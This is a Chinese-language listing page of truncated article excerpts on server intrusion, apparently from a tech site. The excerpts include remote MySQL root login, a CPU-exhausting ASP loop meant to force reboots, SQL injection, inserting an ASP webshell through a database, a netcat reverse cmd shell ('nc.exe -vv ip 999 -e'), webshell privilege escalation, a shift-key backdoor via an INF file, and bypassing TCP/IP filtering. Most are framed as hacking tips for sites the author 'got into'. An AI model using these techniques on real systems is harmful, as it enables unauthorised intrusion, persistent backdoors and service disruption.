操作系统

1、连接到对方MYSQL 服务器 　　 mysql -u root -h 192.168.0.1 　　 mysql.exe 这个程序在你安装了MYSQL的的BIN目录中 2、让我们来看看服务器中有些什么数据库 　　 mysql>show data...

原理就是通过执行死循环导致cpu跑满，不得不重启服务器，windows系统下可以通过停止w3wp.exe的方法解决，然后重启iis什么的把下面的代码保存为chongqi.asp，然后在访问，会占用CPU很高，管理员会重启。 复制代码 代码如下: <...

一些常用的sql注入语句。下面我将介绍如何使用手工注入MYSQL,MSSQL数据库. 一般漏洞产生的原因 : 程序执行中未对敏感字符进行过滤,使得攻击者传入恶意字符串与结构化数据查询语句合并,并且执行恶意代码. 创建text数据表MYSQL代码: 复制...

需要什么条件，语句又是什么？网上翻不到资料。麻烦各位。 答： create table cmd (a varchar(50)) insert into cmd (a) values (\'<%execute request("a&quo...

webshell提权小技巧 cmd路径: c:\\windows\\temp\\cmd.exe nc也在同目录下 例如反弹cmdshell： "c:\\windows\\temp\\nc.exe -vv ip 999 -e c:\\windo...

在webshell下执行CMD，按照常规： path:c:\\windows\\temp\\cmd.exe 查用户： Command: /c net user 这个情况是system32目录的net.exe 你能调用到。 要是调用不到，只能传文件到执行...

1、利用Sc getkeyname来获取服务的名字 首先我们可以利用 net start 来得到系统中的服务显示名称 然后我们利用 sc getkeyname 来得到服务的真实名称 这样我们就得到了服务的真实名称，然后我们利用 net stop 服务名...

前几天搞了几个网站，之前搞的站一般不留后门，其实基本留了都被删除了，这次下决心要搞个shift后门留着自己用的，秒杀给你介绍一个方法！ 将下面的代码保存成inf文件 [Version] Signature="$WINDOWS NT$"...

入侵是指未授权的非法进入，而安全检测是授权的检测！对自己的程序进行测试，当然是调试或者是安全检测了！这次就把自己对程序的测试过程发出来！因为是利用程序中的漏洞，在这利用的是SQL注入！我们要进行SQL注入！首先要找注入点了 我们要对这个程序进行测试！注...

无奈到了自己这里今天下午又碰到个一样的站 纠结··· 不多说了 首先感谢小帆同学 猪猪同学对程序代码的分析·（我自己硬是整了半个小时没整出来利用方法·） 此后台默认的账号密码是 ad...

1、服务器在内网。 2、做了tcp/ip筛选。 先执行下面cmd命令：cmd /c regedit -e c:\\1.reg HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\Tcpip，导出注册...

仔细看下面的图片，发现什么了吗。SU的提权可以溢出(如何防止溢出脚本之家技术团队帮您解决服务器安全问题)，但是出错了。不是限制了cmd命令，注意 Recv: 530 Not logged in, home directory does not exis...